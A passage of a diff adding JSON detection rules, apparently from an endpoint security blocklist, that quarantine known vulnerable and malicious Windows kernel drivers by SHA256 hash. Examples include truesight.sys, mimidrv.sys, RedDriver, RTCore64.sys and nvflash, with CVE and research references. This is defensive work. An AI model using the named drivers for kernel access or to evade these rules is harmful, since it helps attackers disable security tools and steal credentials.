+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.155684Z",
+  "creation_date": "2026-03-23T11:45:31.155686Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.155691Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8cede7500fbd30800c1d05cd70d9ea3c936b20805e62c6e9be432c1fbb1a5a18",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ed2ed9fa-0961-54ec-a829-6e05aeb31293",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.143360Z",
+  "creation_date": "2026-03-23T11:45:31.143362Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.143367Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0e49ed9c5f345602eb9c0511eed977eb59a1f6d8dd0a570bea8fe10e77ce8a3c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ed2f455d-abcb-5b94-baf0-077990030263",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.462792Z",
+  "creation_date": "2026-03-23T11:45:30.462795Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.462804Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a906251667a103a484a6888dca3e9c8c81f513b8f037b98dfc11440802b0d640",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ed35e352-78fc-55dd-890e-7f1a063e3d9e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.153068Z",
+  "creation_date": "2026-03-23T11:45:31.153071Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.153079Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c69bd737aaa422ca1cbf538ba38d8b46981f8252e9e1248f78844e7f261b5e69",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ed379425-d74d-5cf6-bfce-fd244eaaf1e1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.160493Z",
+  "creation_date": "2026-03-23T11:45:31.160496Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.160504Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "58895b577db6e087173ac632247d3cc559fc5062980db333ca988313db4a1c2e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ed486959-4dee-52af-8046-875acfd28e95",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.618185Z",
+  "creation_date": "2026-03-23T11:45:29.618187Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.618192Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8162811e8aae05884e8cb84b8dd87c310e5ed5ec588b9023a4d849d558d6ae34",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ed71ad43-7ff2-5500-91e7-4ecc5a408a8f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.152315Z",
+  "creation_date": "2026-03-23T11:45:31.152318Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.152326Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "75102e174a843b128893b570eacc87b575bfee22ac29cbdcce6fba133537a6b4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ed757c14-7fc0-5b0c-9383-5cd7d2188669",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.985978Z",
+  "creation_date": "2026-03-23T11:45:29.985980Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.985986Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "751e9376cb7cb9de63e1808d43579d787d3f6d659173038fe44a2d7fdb4fd17e",
+  "comment": "Malicious Kernel Driver related to RedDriver (aka telephonuAfY.sys, spwizimgVT.sys, 834761775.sys, reddriver.sys, typelibdE.sys, NlsLexicons0024UvN.sys and ktmutil7ODM.sys) [https://blog.talosintelligence.com/undocumented-reddriver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ed767e9f-2b06-5dd5-aba0-6cff96246a89",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.607782Z",
+  "creation_date": "2026-03-23T11:45:29.607784Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.607790Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ae6fb53e4d8122dba3a65e5fa59185b36c3ac9df46e82fcfb6731ab55c6395aa",
+  "comment": "Micro-Star MSI Afterburner vulnerable driver (aka RTCore32.sys and RTCore64.sys) [CVE-2019-16098] [https://www.loldrivers.io/drivers/275c80c5-a67c-4536-b29e-4e481242cb01/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ed851c6f-a459-5b06-9d90-c7829270b3ce",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.817078Z",
+  "creation_date": "2026-03-23T11:45:31.817080Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.817086Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "967b589e8ddfcd69a0c8e0e11db85bbc50a7e6999fba524434dc23510c14d115",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ed863673-1529-58f3-98e8-32331c537a77",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.473732Z",
+  "creation_date": "2026-03-23T11:45:31.473735Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.473745Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2f8f06b727dd3e71b4cb51cabaf5dec26ec3416f2e09bfb1dbb15e06a12bc65a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ed87a1a6-1ee2-5c69-93d9-9595e8df02a6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.619036Z",
+  "creation_date": "2026-03-23T11:45:29.619038Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.619043Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e69bba9f8aae090226841a02e6207fb37f784b83c6641ea15bd20e7bd3418d87",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ed8cf419-0d64-5240-9d45-148be9987cf0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.490350Z",
+  "creation_date": "2026-03-23T11:45:31.490351Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.490357Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2bbd19219a53633c7e815cefd2dbe0dab2eeffcdb35626a9ef3c6cef713f1c95",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ed8d4639-c927-590a-b507-416c40fc013f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.967438Z",
+  "creation_date": "2026-03-23T11:45:29.967440Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.967445Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b16c3ed44cd04b033621ada7f9ab89d830949b3c9dc26999d862ddbeb7cc5a86",
+  "comment": "Retliften malicious signed drivers (aka netfilter.sys) [https://msrc-blog.microsoft.com/2021/06/25/investigating-and-mitigating-malicious-drivers/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ed913085-5e2e-512f-aeab-3c058684ab9f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.620406Z",
+  "creation_date": "2026-03-23T11:45:29.620408Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.620413Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "af095de15a16255ca1b2c27dad365dff9ac32d2a75e8e288f5a1307680781685",
+  "comment": "IBM Vulnerable Physmem drivers (aka citmdrv_amd64.sys and citmdrv_ia64.sys) [https://www.loldrivers.io/drivers/0f21a584-6ace-4242-82cb-9766cea6973a/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ed9188d2-8033-52ac-a435-27ba71c9b60e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.825793Z",
+  "creation_date": "2026-03-23T11:45:31.825797Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.825805Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "66b6eac3fbe350daff338f36a721b9428ca0a0e68044c9922754470640dc4e30",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ed933ecb-779b-5fde-a7ed-512119307727",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.615657Z",
+  "creation_date": "2026-03-23T11:45:29.615659Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.615667Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c1c18591d7b68fafa870f3d0f1124a353682765236674cc7476c5f1cc71b1528",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "edbf231a-c25d-59b7-8492-85f5e2a0f5ef",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.499856Z",
+  "creation_date": "2026-03-23T11:45:31.499859Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.499881Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5684e046f0ea1f403754d81777ebba5dc5988355c05e204910ba2b892e749cb0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "edc746f7-8927-589d-85ea-248801903fda",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.481841Z",
+  "creation_date": "2026-03-23T11:45:31.481844Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.481854Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fa197d0569bc9871bcc78e307e744ccd973d05aaee2b1a297d2ad0c6df427262",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "edd0faab-d72a-5a85-9fbd-174bc1f43368",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.463642Z",
+  "creation_date": "2026-03-23T11:45:30.463646Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.463654Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "569fe70bedd0df8585689b0e88ad8bd0544fdf88b9dbfc2076f4bdbcf89c28aa",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "edd30f7b-11e4-5764-ad93-d6d76cde2e6b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.828724Z",
+  "creation_date": "2026-03-23T11:45:31.828726Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.828732Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3ceb5fb4546ea5cff844d1e0b90b60040bec49caaf4eed3b38a42e98952d62a5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ede0e491-01da-5aa6-8da1-5bfc3f524519",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.816785Z",
+  "creation_date": "2026-03-23T11:45:30.816787Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.816793Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "11832c345e9898c4f74d3bf8f126cf84b4b1a66ad36135e15d103dbf2ac17359",
+  "comment": "Vulnerable Kernel Driver (aka CP2X72C.SYS) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ede873ed-cb66-56de-ab35-1713983ebc34",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
